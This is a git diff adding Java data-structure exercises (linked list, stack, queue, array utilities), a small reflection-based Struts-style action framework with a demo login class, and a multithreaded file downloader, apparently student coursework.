+++ b/group23/769232552/coding/src/main/java/code01/LinkedList.java
@@ -0,0 +1,327 @@
+package code01;
+
+
+public class LinkedList implements List {
+
+	private Node head;
+    private Node tail; //指向链表最后一个元素的引用
+
+    private int size; //总长度
+
+    public LinkedList() {
+        this.head = null;
+        this.tail = null;
+        this.size = 0;
+    }
+
+    /**
+     * 新增顺序添加一个元素
+     * @param o
+     */
+    public void add(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        //空链表
+        if(head == null){
+            this.head = node;
+            this.tail = node;
+        }else { //非空链表，要先找到链表尾部，再加入新解答
+            this.tail.next = node;
+            this.tail = node;
+        }
+        this.size ++;
+	}
+
+    /**
+     * 指定索引处添加node
+     */
+    public void add(int index, Object o) {
+        assert(index >= 0);
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+
+        if(index == 0){
+            //添加在头部
+            node.next = head;
+            head = node;
+        }else if(index >= this.size){
+            //添加在尾部
+            this.tail.next = node;
+        }else {
+            //添加在中间
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            node.next = cursor.next;
+            cursor.next = node;
+        }
+        this.size ++;
+    }
+
+	public Object get(int index){
+		assert(index < this.size);
+        Node cursor = this.head;
+        for (int i = 0; i < index; i++) {
+            cursor = cursor.next;
+        }
+        return  cursor.data;
+	}
+
+	public Object remove(int index){
+        assert(index >= 0 && index < this.size);
+        Object result = null;
+        //删除的是链表尾部的元素
+        if(index == this.size - 1){
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            result = cursor.next.data;
+            tail = cursor;
+            cursor.next = null;
+        }else if(index == 0){
+            //删除的是头部元素
+            result = head.data;
+            head = head.next;
+        }else {
+            //删除的是链表中间的元素
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            result = cursor.next.data;
+            cursor.next = cursor.next.next;
+        }
+        this.size --;
+        return result;
+	}
+
+	public int size(){
+		return this.size;
+	}
+
+	public void addFirst(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        if(this.head == null){
+            this.head = node;
+            this.tail = node;
+        }else {
+            node.next = head;
+            this.head = node;
+        }
+        this.size ++;
+	}
+	public void addLast(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        if(this.head == null){
+            this.head = node;
+            this.tail = node;
+        }else {
+            this.tail.next = node;
+            this.tail = node;
+        }
+        this.size ++;
+    }
+
+	public Object removeFirst(){
+		Object first = null;
+        if(this.head != null){
+            first = this.head.data;
+            head = head.next;
+            this.size --;
+        }
+        return first;
+	}
+
+	public Object removeLast(){
+		Object last = null;
+        if(this.tail != null){
+            if(this.head != this.tail){
+                Node cursor;
+                for (cursor = head;cursor.next!=tail;cursor=cursor.next);
+                last = this.tail.data;
+                this.tail = cursor;
+                this.tail.next = null;
+            }else {
+                last = this.tail.data;
+                this.head = null;
+                this.tail = null;
+            }
+            this.size --;
+        }
+        return last;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+
+    /**
+     * 节点类
+     */
+    private static class Node{
+		Object data;
+		Node next;
+
+	}
+
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){
+        if(this.head == null || this.head == this.tail){
+            return;
+        }
+
+        Node pre_cursor = null;
+        Node cursor = this.head;
+        Node after_cursor = cursor.next;
+
+        while(cursor != null){
+            cursor.next = pre_cursor;
+            pre_cursor = cursor;
+            cursor = after_cursor;
+            if(after_cursor != null){
+                after_cursor = after_cursor.next;
+            }
+        }
+
+        Node tmpNode = this.head;
+        this.head = this.tail;
+        this.tail = tmpNode;
+	}
+
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public void removeFirstHalf(){
+        if(this.head == null || this.head.next == null){
+            return;
+        }
+        if(this.head.next.next == null){
+            this.head = this.head.next;
+        }
+
+        Node stepOne = this.head;
+        Node stepTwo = this.head;
+
+        while (stepTwo.next != null){
+            stepOne = stepOne.next;
+            stepTwo = stepTwo.next.next;
+        }
+        this.head = stepOne;
+	}
+
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public void remove(int i, int length){
+        Node current = head;
+        Node firstHalf = null;
+        for (int k = 0; k < i; k ++){
+            if(current == null){
+                return;
+            }
+            firstHalf = current;  //记录待删除节点的前一个节点
+            current = current.next;
+        }
+
+        //移动length长度
+        for (int j = 0; j < length; j++) {
+            if(current == null){
+                return;
+            }
+            current = current.next;
+        }
+
+        if(i == 0){
+            head = current;
+        }else {
+            firstHalf.next = current;
+        }
+    }
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]
+	 * @param list
+	 */
+	public static int[] getElements(LinkedList list){
+		return null;
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素
+
+	 * @param list
+	 */
+
+	public  void subtract(LinkedList list){
+
+	}
+
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public void removeDuplicateValues(){
+        if(this.head == null){
+            return;
+        }
+        Node current = this.head;
+        Node current_next = this.head;
+        while (current_next != null){
+            current_next = current_next.next; //如果放到下个while循环后面写，就需要判断一次current_next是不是null了
+            while(current_next != null && current_next.data.equals(current.data)){
+                //删除重复节点
+                current.next = current_next.next;
+                current_next = current_next.next;
+            }
+            current = current_next;
+        }
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+        //怎么才能高效呢
+	}
+
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+
+    /**
+     * 遍历列表
+     */
+    public void printList(){
+        System.out.println();
+        for (Node cursor = this.head;cursor!=null;cursor=cursor.next){
+            System.out.print(cursor.data+" ");
+        }
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code01/List.java b/group23/769232552/coding/src/main/java/code01/List.java
new file mode 100644
index 0000000000..95bc37d172
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/List.java
@@ -0,0 +1,9 @@
+package code01;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Queue.java b/group23/769232552/coding/src/main/java/code01/Queue.java
new file mode 100644
index 0000000000..d9956deb9a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Queue.java
@@ -0,0 +1,24 @@
+package code01;
+
+public class Queue {
+
+	private LinkedList linkedList = new LinkedList();
+
+	public void enQueue(Object o){
+		linkedList.addFirst(o);
+	}
+	
+	public Object deQueue(){
+		Object result = linkedList.removeLast();
+		return result;
+	}
+	
+	public boolean isEmpty(){
+		return linkedList.size() == 0;
+	}
+	
+	public int size(){
+		return linkedList.size();
+	}
+
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Stack.java b/group23/769232552/coding/src/main/java/code01/Stack.java
new file mode 100644
index 0000000000..dbaeb91a48
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Stack.java
@@ -0,0 +1,31 @@
+package code01;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		Object result = null;
+		if(elementData.size()!=0) {
+			result = elementData.remove(elementData.size() - 1);
+		}
+		return result;
+	}
+	
+	public Object peek(){
+		Object result = null;
+		if(elementData.size()!=0) {
+			result = elementData.get(elementData.size() - 1);
+		}
+		return result;
+	}
+	public boolean isEmpty(){
+		return elementData.size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
new file mode 100644
index 0000000000..23055ef138
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
@@ -0,0 +1,257 @@
+package code02;
+import org.apache.commons.lang.ArrayUtils;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		if (origin == null || origin.length <= 1){
+			return;
+		}
+
+		int head = 0;
+		int tail = origin.length - 1;
+		int tmp;
+		while (head != tail){
+			//调换位置
+			tmp = origin[head];
+			origin[head] = origin[tail];
+			origin[tail] = tmp;
+
+            head ++;
+            tail --;
+		}
+
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	public int[] removeZero(int[] oldArray){
+		if (oldArray == null || oldArray.length < 1){
+			return null;
+		}
+
+		List<Integer> newList = new ArrayList<Integer>();
+		for(int number : oldArray){
+			if(number != 0){
+				newList.add(number);
+			}
+		}
+
+        Integer[] result = new Integer[newList.size()];
+        result = (Integer[]) newList.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+
+
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+        if(array1 == null && array2 == null){
+            return null;
+        }
+        if(array1 == null){
+            return array2;
+        }
+        if(array2 == null){
+            return array1;
+        }
+        int[] newArray = new int[array1.length + array2.length];
+        int m = 0,n = 0, k = 0;
+        while (m < array1.length && n < array2.length){
+            if(array1[m] <= array2[n]){
+                newArray[k++] = array1[m++];
+            }else {
+                newArray[k++] = array2[n++];
+            }
+        }
+        if(m >= array1.length){
+            while (n < array2.length){
+                newArray[k++] = array2[n++];
+            }
+        }
+        if(n >= array2.length){
+            while (m < array1.length){
+                newArray[k++] = array1[m++];
+            }
+        }
+		return  newArray;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+        int[] newArray = new int[oldArray.length + size];
+        int i = 0;
+        for (; i < oldArray.length; i++) {
+            newArray[i] = oldArray[i];
+        }
+        for (int j = 0; j < size; j++){
+            newArray[i++] = 0;
+        }
+        return newArray;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+    //也就是需要生成一个小于max值的fibonacci数组
+	public int[] fibonacci(int max){
+        if(max < 2){
+            return new int[]{};
+        }
+        if(max < 3){
+            return new int[]{1,1};
+        }
+        List<Integer> list = new ArrayList<Integer>();
+        list.add(0,1);
+        list.add(1,1);
+        int i=0;
+        while (list.get(i) + list.get(i+1) < max){
+            list.add(i+2,list.get(i) + list.get(i+1));
+            i++;
+        }
+
+        int[] newArray = new int[list.size()];
+        for (int j = 0; j < list.size(); j++) {
+            newArray[j] = list.get(j).intValue();
+        }
+        return newArray;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+     *
+     * 原理：
+     * １，判断一个数字是否为素数，一个数 n 如果是合数，那么它的所有的因子不超过sqrt(n)
+     * ２，当i是素数的时候，i的所有的倍数必然是合数。
+	 */
+	public int[] getPrimes(int max){
+
+        if(max <= 2){
+            return null;
+        }
+        boolean[] prime = new boolean[max + 1];
+        for (int i = 2; i <= max; i++) {
+            if(i%2 == 0){
+                prime[i] = false; //偶数
+            }else {
+                prime[i] = true;
+            }
+        }
+
+        for (int i = 2; i <= Math.sqrt(max) ; i++) {
+            if(prime[i]){//奇数
+                //如果i是素数，那么把i的倍数标记为非素数
+                for(int j = i+i; j <= max; j += i){
+                    prime[j] = false;
+                }
+            }
+        }
+
+        List num = new ArrayList<Integer>();
+        for (int i = 2; i <= max; i++) {
+            if(prime[i]){
+                num.add(i);
+            }
+        }
+
+        Integer[] result = new Integer[num.size()];
+        result = (Integer[]) num.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+
+        if(max < 6){
+            return null;
+        }
+
+        List<Integer> perfectNumlist = new ArrayList<Integer>();
+
+        for (int j = 6;j <= max; j++){
+            List<Integer> factorNumlist = new ArrayList<Integer>();
+            factorNumlist.add(1);
+            for (int i = 2; i < j; i++) {
+                if(j % i == 0){
+                    factorNumlist.add(i);
+                }
+            }
+            int sum = 0;
+            for(Integer num : factorNumlist){
+                sum += num;
+            }
+
+            if(sum == j){
+                perfectNumlist.add(j);
+            }
+        }
+        Integer[] result = new Integer[perfectNumlist.size()];
+        result = (Integer[]) perfectNumlist.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param seperator
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < array.length - 1; i++) {
+            sb.append(array[i]);
+            sb.append(seperator);
+        }
+        sb.append(array[array.length - 1]);
+        return sb.toString();
+	}
+
+    public void printArr(int[] array){
+        for(int num : array){
+            System.out.print(num + " ");
+        }
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
new file mode 100644
index 0000000000..b5e077e7a5
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
@@ -0,0 +1,28 @@
+package code02.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/22.
+ */
+public class ActionConfig {
+    String name;
+    String clzName;
+    Map<String,String> viewResult = new HashMap<String,String>();
+
+
+    public ActionConfig(String actionName, String clzName) {
+        this.name = actionName;
+        this.clzName = clzName;
+    }
+    public String getClassName(){
+        return clzName;
+    }
+    public void addViewResult(String name, String viewName){
+        viewResult.put(name, viewName);
+    }
+    public String getViewName(String resultName){
+        return viewResult.get(resultName);
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
new file mode 100644
index 0000000000..85d3d98a1f
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
@@ -0,0 +1,64 @@
+package code02.litestruts;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/21.
+ */
+public class Configuration {
+
+
+    private String path;
+    private final Map<String, ActionConfig> actionMap = new HashMap<String, ActionConfig>();
+
+    Configuration(String path){
+        parseXML(path);
+    }
+
+    //解析xml文件
+    private void parseXML(String path){
+        //读取文件
+        File file = new File(path);
+        SAXReader reader = new SAXReader();
+        Document document = null;
+        try {
+            document = reader.read(file);
+        } catch (DocumentException e) {
+            e.printStackTrace();
+        }
+        Element root = document.getRootElement();
+
+        for (Iterator<Element> iterator = root.elementIterator("action"); iterator.hasNext();) {
+            Element e = iterator.next();
+            String actionName = e.attributeValue("name");
+            String clazName = e.attributeValue("class");
+            ActionConfig actionConfig = new ActionConfig(actionName,clazName);
+            for(Iterator<Element> childIterator = e.elementIterator();childIterator.hasNext();){
+                Element child = childIterator.next();
+                String jspKey = child.attributeValue("name");
+                String jspValue = child.getTextTrim();
+                actionConfig.addViewResult(jspKey,jspValue);
+            }
+            actionMap.put(actionName,actionConfig);
+        }
+    }
+
+    public String getView(String actionName, String result){
+        String jspKey = actionName + "." + result;
+        return actionMap.get(actionName).getViewName(result);
+    }
+
+
+    public Map<String, ActionConfig> getActionMap() {
+        return actionMap;
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
new file mode 100644
index 0000000000..0799eae71a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package code02.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+        if("test".equals(name) && "1234".equals(password)){
+            this.message = "login successful";
+            return "success";
+        }
+        this.message = "login failed,please check your user/pwd";
+        return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
new file mode 100644
index 0000000000..2a499f104b
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/ReflectionUtil.java
@@ -0,0 +1,119 @@
+package code02.litestruts;
+
+import org.slf4j.LoggerFactory;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/21.
+ */
+public class ReflectionUtil {
+    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(ReflectionUtil.class);
+
+    private static final Map<String, Class<?>> clazzMap = new HashMap<String, Class<?>>();
+
+    //加载xml文件中的类
+    public void initiateClazz(Configuration cfg){
+        Map<String, ActionConfig> actionMap = cfg.getActionMap();
+
+        for (Map.Entry<String, ActionConfig> entry : actionMap.entrySet()) {
+            String actionName = entry.getKey(); //login
+            ActionConfig actionConfig =entry.getValue();
+            String className = actionConfig.getClassName(); //code02.litestruts.LoginAction
+            Class<?> cls;
+            try {
+                cls = Class.forName(className, true, Thread.currentThread().getContextClassLoader());
+                clazzMap.put(actionName,cls);
+            } catch (Exception e) {
+                logger.warn("加载类 " + className + "出错！");
+            }
+        }
+    }
+
+
+    //返回实例对象
+    public Object getInstance(String actionName){
+        Object instance = null;
+        for (Map.Entry<String, Class<?>> entry : clazzMap.entrySet()) {
+            String action = entry.getKey(); //login
+            Class<?> cls = entry.getValue(); //code02.litestruts.LoginAction.class
+            if(actionName.equals(action)){
+                try {
+                    instance = cls.newInstance();
+                } catch (Exception e) {
+                    logger.error("生成实例出错！", e);
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+        return instance;
+    }
+
+
+    //参数赋值
+    public void setParameters(Object o, Map<String, String> params) {
+
+        List<Method> methods = getSetterMethods(o.getClass());
+        for (String name : params.keySet()) {
+            String methodName = "set" + name;
+            for (Method m : methods) {
+                if (m.getName().equalsIgnoreCase(methodName)) {
+                    try {
+                        m.invoke(o, params.get(name));
+                    } catch (InvocationTargetException e) {
+                        e.printStackTrace();
+                    } catch (IllegalAccessException e) {
+                        e.printStackTrace();
+                    }
+                }
+            }
+        }
+    }
+
+    //运行无参方法
+    public Object runMethodWithoutParams(Object o , String methodName){
+        Class<?> clz = o.getClass();
+        Object result = null;
+        try {
+            Method method = clz.getDeclaredMethod(methodName);
+            try {
+                result = method.invoke(o);
+            } catch (IllegalAccessException e) {
+                e.printStackTrace();
+            } catch (InvocationTargetException e) {
+                e.printStackTrace();
+            }
+        } catch (NoSuchMethodException e) {
+            e.printStackTrace();
+        }
+        return result;
+    }
+
+    //返回以set开头的方法
+    public List<Method> getSetterMethods(Object o){
+        return getMethods(o.getClass(),"set");
+    }
+
+    //返回以get开头的方法
+    public List<Method> getGetterMethods(Object o){
+        return getMethods(o.getClass(),"get");
+    }
+
+    private List<Method> getMethods(Class<?> clz, String startWithName){
+        List<Method> methodsList = new ArrayList<Method>();
+        Method[] methods = clz.getDeclaredMethods();
+        for (int i = 0; i < methods.length; i++) {
+            String methodName = methods[i].getName();
+            if(methodName.startsWith(startWithName)){
+                methodsList.add(methods[i]);
+            }
+        }
+        return methodsList;
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
new file mode 100644
index 0000000000..b954f25bd5
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/Struts.java
@@ -0,0 +1,76 @@
+package code02.litestruts;
+
+import org.slf4j.LoggerFactory;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+public class Struts {
+    private static final org.slf4j.Logger logger = LoggerFactory.getLogger(Struts.class);
+    /*
+      0. 读取配置文件struts.xml
+
+       1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+      据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
+      ("name"="test" ,  "password"="1234") ,
+      那就应该调用 setName和setPassword方法
+
+
+
+
+  */
+    public static View runAction(String actionName, Map<String, String> parameters)  {
+        View view = new View();
+        Configuration cfg = new Configuration("src/main/resources/struts.xml");
+        ReflectionUtil reflectionUtil = new ReflectionUtil();
+        reflectionUtil.initiateClazz(cfg);
+       /* 1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）*/
+        Object o = reflectionUtil.getInstance(actionName);
+        /*2. 根据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是
+            ("name"="test" ,  "password"="1234") ,那就应该调用 setName和setPassword方法*/
+        reflectionUtil.setParameters(o,parameters);
+        /*3. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"*/
+        String result = (String) reflectionUtil.runMethodWithoutParams(o,"execute");
+       /* 4. 通过反射找到对象的所有getter方法（例如 getMessage）,通过反射来调用，
+       把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,放到View对象的parameters*/
+        Map params = new HashMap<String, String>();
+        List<Method> methods = reflectionUtil.getGetterMethods(o);
+        for(Method method : methods){
+            String key = method.getName().substring(3);
+            String value = null;
+            try {
+                value = (String) method.invoke(o);
+            } catch (IllegalAccessException e) {
+                e.printStackTrace();
+            } catch (InvocationTargetException e) {
+                e.printStackTrace();
+            }
+            params.put(key,value);
+        }
+        /*5. 根据struts.xml中的 <result> 配置,以及execute的返回值，确定哪一个jsp，放到View对象的jsp字段中。*/
+        String jsp = cfg.getView(actionName,result);
+        view.setParameters(params);
+        view.setJsp(jsp);
+
+        return view;
+    }
+
+    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
+
+        String actionName = "login";
+        HashMap<String,String> params = new HashMap<String, String>();
+        params.put("name","test");
+        params.put("password","12345");
+
+        View view = Struts.runAction(actionName,params);
+        System.out.println(view.getJsp());
+        System.out.println(view.getParameters());
+
+
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/View.java b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
new file mode 100644
index 0000000000..c7e630587c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/View.java
@@ -0,0 +1,23 @@
+package code02.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code03/DownloadThread.java b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
new file mode 100644
index 0000000000..7bf8a8e765
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/DownloadThread.java
@@ -0,0 +1,47 @@
+package code03;
+
+import code03.api.Connection;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.*;
+
+/**
+ * 定义线程类
+ */
+
+
+public class DownloadThread extends Thread{
+
+	private static final Logger logger = LoggerFactory.getLogger(DownloadThread.class);
+
+	private Connection conn;
+	private int startPos;
+	private int endPos;
+	private static final String fileName = "D://test.png";
+
+
+	public DownloadThread(Connection conn, int startPos, int endPos){
+		this.conn = conn;
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+
+	@Override
+	public void run(){
+		logger.debug("thread {} begin to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
+
+		try {
+			byte[] data = conn.read(startPos,endPos);
+			RandomAccessFile rfile = new RandomAccessFile(fileName,"rw");
+			rfile.seek(startPos);
+			rfile.write(data,0,data.length);
+			rfile.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		logger.debug("thread {} end to download from start {} to end {} ",Thread.currentThread().getName(),startPos,endPos);
+
+
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code03/FileDownloader.java b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
new file mode 100644
index 0000000000..6814c49f9c
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code03/FileDownloader.java
@@ -0,0 +1,109 @@
+package code03;
+
+import code03.api.Connection;
+import code03.api.ConnectionException;
+import code03.api.ConnectionManager;
+import code03.api.DownloadListener;
+import code03.impl.ConnectionManagerImpl;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 线程启动类
+ */
+
+public class FileDownloader {
+	
+	private String url;
+	private DownloadListener listener;
+	private ConnectionManager cm;
+	private static boolean downloadFinished = false;
+
+	private final static int THREAD_NUM = 5;
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+	}
+
+	/*
+	(1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+	(2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+	     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。*/
+	public void execute(){
+		Connection conn = null;
+		try {
+			//启动线程
+			int startPos = 0, endPos = 0;
+			List<Thread> threads = new ArrayList<Thread>();
+			for (int i = 0; i < THREAD_NUM; i++) {
+				conn = cm.open(this.url); //每次都要重新获取一个connection.imputstream
+				int length = conn.getContentLength();
+				startPos = length/THREAD_NUM *  i;
+				endPos = length/THREAD_NUM * (i + 1)- 1;
+				DownloadThread downloadThread = new DownloadThread(conn,startPos,endPos);
+				threads.add(downloadThread);
+				downloadThread.start();
+			}
+
+			//调用join方法，确保所有线程的工作已经完成
+			for (int i = 0; i < THREAD_NUM; i++) {
+				try {
+					threads.get(i).join();
+				} catch (InterruptedException e) {
+					e.printStackTrace();
+				}
+			}
+			listener.notifyFinished();
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		} finally {
+			if(conn != null){
+				conn.close();
+			}
+		}
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+
+
+	public static void main(String[] args) {
+
+		String url = "http://litten.me/assets/blogImg/litten.png";
+		FileDownloader fileDownloader = new FileDownloader(url);
+		ConnectionManager cm = new ConnectionManagerImpl();
+		fileDownloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+		});
+		fileDownloader.setConnectionManager(cm);
+		fileDownloader.execute();
+
+
+		while (!downloadFinished){
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		System.out.println("download finished ! ");
+
+
+	}
+	
+}
